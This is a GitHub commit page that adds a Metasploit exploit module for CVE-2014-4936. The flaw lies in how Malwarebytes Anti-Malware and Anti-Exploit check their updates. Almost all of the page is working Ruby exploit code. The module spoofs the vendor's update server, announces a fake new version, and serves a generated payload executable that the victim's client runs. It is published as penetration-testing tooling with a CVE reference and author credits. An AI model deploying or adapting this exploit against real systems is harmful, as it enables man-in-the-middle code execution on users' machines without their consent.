Skip to content

Commit 99f5b4b

Browse files
committed
Merge pull request #4 from todb-r7/land-4605-malwarebytes
Malwarebytes poisoned update fixes
2 parents dbe5dd7 + b5794db commit 99f5b4b

File tree

2 files changed

+126
-107
lines changed

2 files changed

+126
-107
lines changed
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::EXE
12+
include Msf::Exploit::Remote::HttpServer
13+
14+
VERSION_REGEX = /\/v2\/(mbam|mbae)\/consumer\/version.chk/
15+
EXE_REGEX = /\/v2\/(mbam|mbae)\/consumer\/data\/(mbam|mbae)-setup-(.*)\.exe/
16+
NEXT_VERSION = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' }
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution',
21+
'Description' => %q{
22+
This module exploits a vulnerability in the update functionality of
23+
Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes
24+
Anti-Exploit consumer 1.03.1.1220.
25+
Due to the lack of proper update package validation a man-in-the-middle
26+
attacker could execute arbitrary code by spoofing the update server
27+
data-cdn.mbamupdates.com and uploading an executable. This module has
28+
been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' =>
32+
[
33+
'Yonathan Klijnsma', # Vulnerability discovery and PoC
34+
'Gabor Seljan', # Metasploit module
35+
'todb' # Module refactoring
36+
],
37+
'References' =>
38+
[
39+
[ 'CVE', '2014-4936' ],
40+
[' OSVDB', '116050'],
41+
[ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog
42+
],
43+
'DefaultOptions' =>
44+
{
45+
'EXITFUNC' => 'process'
46+
},
47+
'Platform' => 'win',
48+
'Targets' =>
49+
[
50+
[ 'Windows Universal', {} ]
51+
],
52+
'Privileged' => false,
53+
'DisclosureDate' => 'Dec 16 2014',
54+
'DefaultTarget' => 0
55+
))
56+
57+
register_options(
58+
[
59+
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
60+
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ])
61+
], self.class)
62+
63+
# Vulnerable Malwarebytes clients do not allow altering these.
64+
deregister_options('SSL', 'SSLVersion', 'SSLCert')
65+
end
66+
67+
def on_request_uri(cli, request)
68+
case request.uri
69+
when VERSION_REGEX
70+
serve_update_notice(cli) if set_exploit_target($1, request)
71+
when EXE_REGEX
72+
serve_exploit(cli)
73+
else
74+
vprint_status "Sending empty page for #{request.uri}"
75+
serve_default_response(cli)
76+
end
77+
end
78+
79+
def serve_default_response(cli)
80+
send_response(cli, '')
81+
end
82+
83+
def check_client_version(request)
84+
return false unless request['User-Agent'] =~ /base:(\d+\.\d+\.\d+\.\d+)/
85+
this_version = $1
86+
next_version = NEXT_VERSION[:mbam]
87+
if
88+
Gem::Version.new(next_version) >= Gem::Version.new(this_version)
89+
return true
90+
else
91+
print_error "Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update."
92+
return false
93+
end
94+
end
95+
96+
def set_exploit_target(package, request)
97+
case package
98+
when /mbam/i
99+
if check_client_version(request)
100+
@client_software = ['Anti-Malware', NEXT_VERSION[:mbam]]
101+
else
102+
serve_default_response(cli)
103+
return false
104+
end
105+
when /mbae/i
106+
# We don't get identifying info from MBAE
107+
@client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]]
108+
end
109+
end
110+
111+
def serve_update_notice(cli)
112+
software,next_version = @client_software
113+
print_status "Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'."
114+
send_response(cli, next_version,
115+
'Content-Type' => 'application/octet-stream'
116+
)
117+
end
118+
119+
def serve_exploit(cli)
120+
print_status "Sending payload EXE..."
121+
send_response(cli, generate_payload_exe,
122+
'Content-Type' => 'application/x-msdos-program'
123+
)
124+
end
125+
126+
end

modules/exploits/windows/browser/mbam_update_exec.rb

Lines changed: 0 additions & 107 deletions
This file was deleted.

0 commit comments

Comments
 (0)